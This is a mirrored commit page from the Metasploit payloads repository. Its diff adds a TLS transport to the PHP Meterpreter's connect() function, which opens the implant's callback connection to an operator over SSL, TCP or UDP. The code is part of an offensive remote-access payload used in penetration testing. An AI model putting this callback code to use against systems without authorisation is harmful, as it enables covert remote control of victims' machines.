mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-08 14:36:22 +01:00
Land #234, Implement TLS transport for PHP meterpreter
This commit is contained in:
commit
2a4a764969
@ -989,21 +989,30 @@ function connect($ipaddr, $port, $proto='tcp') {
|
||||
# unnecessarily, but fall back to socket_create if they aren't available.
|
||||
if (is_callable('stream_socket_client')) {
|
||||
my_print("stream_socket_client({$proto}://{$ipaddr}:{$port})");
|
||||
$sock = stream_socket_client("{$proto}://{$ipaddr}:{$port}");
|
||||
my_print("Got a sock: $sock");
|
||||
if (!$sock) { return false; }
|
||||
if ($proto == 'tcp') {
|
||||
if ($proto == 'ssl') {
|
||||
$sock = stream_socket_client("ssl://{$ipaddr}:{$port}",
|
||||
$errno, $errstr, 5, STREAM_CLIENT_ASYNC_CONNECT);
|
||||
if (!$sock) { return false; }
|
||||
stream_set_blocking($sock, 0);
|
||||
register_stream($sock);
|
||||
} elseif ($proto == 'tcp') {
|
||||
$sock = stream_socket_client("tcp://{$ipaddr}:{$port}");
|
||||
if (!$sock) { return false; }
|
||||
register_stream($sock);
|
||||
} elseif ($proto == 'udp') {
|
||||
$sock = stream_socket_client("udp://{$ipaddr}:{$port}");
|
||||
if (!$sock) { return false; }
|
||||
register_stream($sock, $ipaddr, $port);
|
||||
} else {
|
||||
my_print("WTF proto is this: '$proto'");
|
||||
}
|
||||
} else
|
||||
if (is_callable('fsockopen')) {
|
||||
my_print("fsockopen");
|
||||
if ($proto == 'tcp') {
|
||||
$sock = fsockopen($ipaddr,$port);
|
||||
if ($proto == 'ssl') {
|
||||
$sock = fsockopen("ssl://{$ipaddr}:{$port}");
|
||||
stream_set_blocking($sock, 0);
|
||||
register_stream($sock);
|
||||
} elseif ($proto == 'tcp') {
|
||||
$sock = fsockopen($ipaddr, $port);
|
||||
if (!$sock) { return false; }
|
||||
if (is_callable('socket_set_timeout')) {
|
||||
socket_set_timeout($sock, 2);
|
||||
|
Loading…
Reference in New Issue
Block a user